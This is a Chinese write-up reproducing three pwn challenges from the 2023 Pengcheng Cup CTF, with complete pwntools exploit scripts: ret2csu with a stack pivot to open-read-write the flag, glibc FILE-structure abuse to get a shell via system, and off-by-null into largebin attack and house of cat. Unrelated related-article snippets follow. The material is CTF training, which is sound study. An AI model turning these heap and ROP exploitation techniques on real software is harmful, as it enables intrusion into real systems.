2023 鹏程杯

前言

笔者没有参加此次比赛,由于团队后面会复现此次比赛,所以笔者在此进行复现记录。

silent

考点: 栈溢出 + ret2csu + 栈迁移

保护: 开了 Full RELRO 和 NX, 禁掉了 execve/execveat 系统调用

漏洞分析

一个裸的栈溢出, 但是没有输出函数可以泄漏 libc. 并且由于 Full RELRO 也无法 ret2dl

这里就得考虑去寻找一个 libc 地址然后利用特殊的 gadget 去构造一个 write 函数.最后配合 csu 进行利用.

这里我并没有找到可用的 gadget, 但是在网上看别人找到了一条:

0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret

而在 libc_csu_init 中是可以很方便的控制 rbp 和 ebx 的:

而 bss 段上的 stdin/stdout 里面存放的就是 _IO_2_1_stdin_/_IO_2_1_stdout_, 其就是一个 libc 地址. 这里选择修改 stdout, 当然修改 stdin 也行, 注意 stdin 不会影响 read 函数, 因为 read 是直接走的系统调用.

漏洞利用

先利用 magic_gadget 配合 csu 去修改 stdout 为 write 函数. 然后再利用 csu 调用 write 函数泄漏 libc, 后面就是栈迁移 orw 了.

exp 如下: libc版本: 2.27-3ubuntu1.5_amd64

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''bss = 0x0000000000601040
stdout = 0x0000000000601020
pop_rdi = 0x0000000000400963 # pop rdi ; ret
pop_rbp = 0x0000000000400788 # pop rbp ; ret
csu_f = 0x000000000040095A
csu_e = 0x0000000000400940
read_got = 0x0000000000600FE0
magic_gadget = 0x00000000004007e8 # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
#write_offset = libc.sym.write - libc.sym._IO_2_1_stdout_
write_offset = 0xFFFFFFFFFFD23990
stdout_offset = 0x2dc670
leave_ret = 0x00000000004008FC
libc_pop_rdi = 0x000000000002164f # pop rdi ; ret
libc_pop_rsi = 0x0000000000023a6a # pop rsi ; ret
libc_pop_rdx = 0x0000000000001b96 # pop rdx ; ret
libc_pop_rax = 0x000000000001b500 # pop rax ; ret
libc_syscall = 0x000000000013FF57 # syscall ; ret#gdb.attach(io, "b *0x00000000004008F7")def csu(call_addr, rdi, rsi, rdx, ret_addr, rbx, rbp):payload  = p64(0) + p64(1)payload += p64(call_addr) + p64(rdi) + p64(rsi) + p64(rdx)payload += p64(csu_e) + p64(0)payload += p64(rbx) + p64(rbp) + p64(0)*4 + p64(ret_addr)return payloadpay  = b'A'*0x48
pay += p64(csu_f) + csu(read_got, 0, bss+0x400, 0x300, magic_gadget, write_offset, stdout+0x3d)
pay += p64(pop_rbp) + p64(bss+0x400-0x8) + p64(leave_ret)
sl(pay)
#pause()pay  = p64(csu_f) + csu(stdout, 1, read_got, 8, csu_f, 0, 0)
pay += csu(read_got, 0, bss+0x400+0x300, 0x400, leave_ret, 0, bss+0x400+0x300-0x8)
print("pay_len:", hex(len(pay)))
sleep(0.01)
sl(pay)#pause()
read_addr = addr8(8)
libc.address = read_addr - libc.sym.read
libc_pop_rdi += libc.address
libc_pop_rsi += libc.address
libc_pop_rdx += libc.address
libc_pop_rax += libc.address
libc_syscall += libc.address
info("read_addr", read_addr)
info("libc_base", libc.address)#pause()
pay  = p64(pop_rdi) + p64(bss+0x400+0x400) + p64(libc_pop_rsi) + p64(0) + p64(libc_pop_rax) + p64(2) + p64(libc_syscall)
pay += p64(pop_rdi) + p64(3) + p64(libc_pop_rsi) + p64(bss+0x400+0x400) + p64(libc_pop_rdx) + p64(0x20) + p64(libc.sym.read)
pay += p64(pop_rdi) + p64(1) + p64(libc_pop_rsi) + p64(bss+0x400+0x400) + p64(libc_pop_rdx) + p64(0x20) + p64(libc.sym.write)
#pay += p64(csu_f) + one_csu(stdout, 1, bss+0x400+0x400, 0x20, pop_rdi+1)
print("pay_len:", hex(len(pay)))
pay  = pay.ljust(0x100, b'\x00') + b'./flag.txt\x00'
sleep(0.01)
sl(pay)#pause()
sh()

atuo_coffee_sale_machine

考点: 数组越界 + stdout泄漏libc + stdin任意写 (但看其他人的wp好像是UAF?难道这个是非预期)

保护: 开了 Canary 和 NX

漏洞分析

漏洞在 change_default() 函数中:

可以看到这里用的是 || 而不是 &&, 所以很明显的数组越界了.

漏洞利用

先利用数据越界修改 _IO_2_1_stdout_ 进行 libc 泄漏.

然后再修改 _IO_2_1_stdin_ 进行任意地址写修改 atoi@got 为 system

最后输入 sh 即可 getshell

这里之所以能够利用 _IO_2_1_stdin_ 进行任意写是因为在 sell 函数中存在 getchar():

所以我感觉不是非预期, 不然其他地方全是 read, 为啥这里偏偏来个 getchar 呢? getchar 每次会从输入缓冲区读一个字节数据即将_IO_read_ptr加一,当_IO_read_ptr等于_IO_read_end的时候便会调用read读数据到_IO_buf_base地址中.

对于 _IO_2_1_stdin_ 进行任意写需要满足以下条件:

  • _IO_buf_base = target_start_addr

  • _IO_buf_end = target_end_addr

  • _IO_read_ptr = _IO_read_end

  • _flags & ~4

  • _fileno = 0

exp 如下: libc版本: GLIBC 2.31-0ubuntu9.9

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'>>>'def go_admin():sla(menu, b'4421')sla(b'password', b'just pwn it')def change(idx, num, data):sla(menu, b'2')sla(menu, byte(idx))sla(menu, byte(num))sda(b'content', data)go_admin()
pay = p64(0xfabd1800) + p64(0)*3 + b'\x00'
change(1, -31, pay)
rut(b'\n')
rc(8)
libc.address = addr8(8) - 0x1ec980
info("libc_base", libc.address)pay = p64(0xfbad208b&(~4)) + p64(0)*6 + p64(0x0000000000406068) + p64(0x0000000000406068+8)
change(1, -29, pay)sla(menu, b'3')
sla(menu, b'1')
sla(b'buy', b'1')
sla(b'Y/N', b'N'+p64(libc.sym.system))
sla(menu, b'sh')
sla(menu, b'sh')#debug()
sh()

babyheap

考点: off by null

保护全开

比较简单, 限制了堆块的大小在[0x400,0x500]之间, 然后有增删查改的功能.

白给的 off by null, 然后题目给 libc 是 2.38 的, 但是我懒得配环境, 所以用到 2.35 的, 但是区别不大.

漏洞利用

off by null 打前向 unlink 构造堆重叠, 然后UAF打largebin_attack, 最后直接 house of cat

注: 这里 one_gadget 因为 rbp 的问题打不通, 具体可自行调试. 所以最后直接打的 orw

exp 如下: GLIBC 2.35-0ubuntu3.

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'>> '
def add(size, data):sla(menu, b'1')sla(b'size', byte(size))sda(b'name', data)def edit(idx, size, data):sla(menu, b'2')sla(b'index', byte(idx))sla(b'size', byte(size))sda(b'name', data)def show(idx):sla(menu, b'3')sla(b'index', byte(idx))def dele(idx):sla(menu, b'4')sla(b'index', byte(idx))#gdb.attach(io, 'b *$rebase(0x00000000000019AE)')
rut(b"easier\n")
heap_base = int(rut(b"\n"), 16) - 0x2a0
info("heap_base", heap_base)pay  = p64(0) + p64(0xc71+0x410) + p64(heap_base+0x2b0+0x10)*2 + b'\n'
add(0x428, pay)    # 0
add(0x428, b'A\n') # 1
add(0x408, b'A\n') # 2
add(0x418, b'B\n') # 3
add(0x4F8, b'C\n') # 4
add(0x428, b'D\n') # 5dele(3)
add(0x418, b'A'*0x410+p64(0xc70+0x410))
dele(4)
add(0x418, b'A\n')show(1)
rut(b'\n')
libc_base = addr8(6) - 0x219ce0
_IO_list_all = libc_base + 0x21a680
info("libc_base", libc_base)
info("_IO_list_all", _IO_list_all)add(0x428, b'X\n') # 6
add(0x408, b'\nX') # 7
add(0x418, b'E\n') # 8
add(0x4F8, b'X\n') # 9
dele(6)
add(0x438, b'X\n') # 10
dele(8)pay = p64(libc_base+0x21a0d0)*2 + p64(heap_base+0x6e0) + p64(_IO_list_all - 0x20)
edit(1, 0x30, pay+b'\n')
add(0x4F8, b'X\n')"""
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
0xebcf5 execve("/bin/sh", r10, rdx)
0xebcf8 execve("/bin/sh", rsi, rdx)
"""ones = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
ones = [libc_base+i for i in ones]
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x000000000011f497 # pop rdx ; pop r12 ; ret# house of cat
_IO_wfile_jumps = libc_base + 0x2160c0
pay  = p64(0)*2 + p64(1) + p64(2)
pay  = pay.ljust(0x90, b'\x00') + p64(heap_base+0xf20+0x100)
pay  = pay.ljust(0xb0, b'\x00') + p64(1)
pay  = pay.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps+0x30)
pay  = pay.ljust(0x108, b'\x00') + p64(1) + p64(heap_base+0xf20+0x280)
pay  = pay.ljust(0x1d0, b'\x00') + p64(heap_base+0xf20+0x200)
pay  = pay.ljust(0x208, b'\x00') + p64(libc_base+libc.sym.setcontext+61)
pay  = pay.ljust(0x240, b'\x00')
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0xf20+0x340) + p64(pop_rdx) + p64(0x20) + p64(0) + p64(libc_base+libc.sym.read)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base+0xf20+0x340) + p64(pop_rdx) + p64(0x20) + p64(0) + p64(libc_base+libc.sym.write)
pay  = pay.ljust(0x270+0x68, b'\x00') + p64(heap_base+0xf20+0x400) + p64(0) + p64(0)*2
pay  = pay.ljust(0x270+0xa0, b'\x00') + p64(heap_base+0xf20+0x250) + p64(libc_base+libc.sym.open)
pay  = pay.ljust(0x3F0, b'\x00') + p64(0x7478742e67616c66);
print("pay len:", hex(len(pay)))
edit(3, len(pay)+2, pay+b'\n')sla(menu, b'5')
#pause()
#debug()
sh()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/193437.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

腾讯云服务器公网带宽速度怎么样?上传下载实测!

腾讯云服务器公网带宽下载速度计算,1M公网带宽下载速度是128KB/秒,5M带宽下载速度是512KB/s,腾讯云10M带宽下载速度是1.25M/秒,腾讯云百科txybk.com来详细说下腾讯云服务器不同公网带宽实际下载速度以及对应的上传速度对照表&…

【数据挖掘 机器学习 | 时间序列】时间序列必学模型: ARIMA超详细讲解

🤵‍♂️ 个人主页: AI_magician 📡主页地址: 作者简介:CSDN内容合伙人,全栈领域优质创作者。 👨‍💻景愿:旨在于能和更多的热爱计算机的伙伴一起成长!!&…

安卓中轻量级数据存储方案分析探讨

轻量级数据存储功能通常用于保存应用的一些常用配置信息,并不适合需要存储大量数据和频繁改变数据的场景。应用的数据保存在文件中,这些文件可以持久化地存储在设备上。需要注意的是,应用访问的实例包含文件所有数据,这些数据会一…

Windows 下 Sublime Text 3.2.2 下载及配置

1 下载地址: https://www.sublimetext.com/3 Sublime Text 3.2.2 (此版本选择了 portable version),直接解压就可以使用。 https://download.sublimetext.com/Sublime Text Build 3211.zip 2 相关配置 2.1 取消自动更新(需重启): Preferen…

关于MySQL安装时一直卡在starting sever......手把手教你搞定

🎈🎈🎈很多人刚开始安装MySQL的时候会出现卡在starting sever..的情况,今天手把手教大家轻松搞定! 首先出现这个问题的原因有两个: 1. 你的电脑用户名是中文的。 2. 你前一次安装的MySQL没有完全删除干净。…

R语言和RStudio的下载安装(非常简便舒适)

目录 R语言和RStudio的关系R语言和Tableau下载R语言进入官网选择清华镜像源Download R for Windows选择base版本开始下载进行安装配置环境变量检查是否安装成功 下载RStudio进入官网点击下载进行安装检查是否安装成功打开选择R语言环境成功打开显示四个工作区 R语言和RStudio的…

C++之谓词

C之谓词 一元谓词 #include<iostream> using namespace std; #include<vector> #include<algorithm> //仿函数 返回值类型是boo1数据类型&#xff0c;称为谓词 //一元谓词class GreaterFive { public:bool operator()(int val){return val > 5;} };void …

【Web】PHP反序列化的一些trick

目录 ①__wakeup绕过 ②加号绕过正则匹配 ③引用绕过相等 ④16进制绕过关键词过滤 ⑤Exception绕过 ⑥字符串逃逸 要中期考试乐(悲) ①__wakeup绕过 反序列化字符串中表示属性数量的值 大于 大括号内实际属性的数量时&#xff0c;wakeup方法会被绕过 &#xff08;php5-p…

Win11+Modelsim SE-64 10.6d搭建UVM环境

1、添加源文件及tb文件 在目录下建立文件夹&#xff0c;将DUT和Testbench添加进去&#xff0c;文件夹内容如下所示&#xff1a; 2、以《UVM实战》中的例子做简单的示例&#xff1a; 2.1 设计文件 &#xff1a;dut.sv 功能很简单&#xff0c;即将接受到的数据原封不动发送出去…

【开源】基于Vue和SpringBoot的康复中心管理系统

项目编号&#xff1a; S 056 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S056&#xff0c;文末获取源码。} 项目编号&#xff1a;S056&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 普通用户模块2.2 护工模块2.3 管理员…

[Linux] PXE批量装机

一、PXE批量装机简介 1.1 常见的三种系统安装方式 u启动安装&#xff1a;在U盘中下载相关的安装系统及镜像文件&#xff0c;u盘插机安装 光驱安装&#xff1a;将带有所需系统的光盘放进电脑服务器中&#xff0c;按照官方引导装机 网络下载安装&#xff1a;在网上下载相关镜…

文本转语音

免费工具 音视频转译 通义听悟 | https://tingwu.aliyun.com/u/wg57n33kml5nkr3p 音色迁移 speechify | https://speechify.com/voice-cloning/ 视频生成 lalamu | http://lalamu.studio/demo/ 画质增强 topazlabs video AI | https://www.topazlabs.com 付费工具 rask | htt…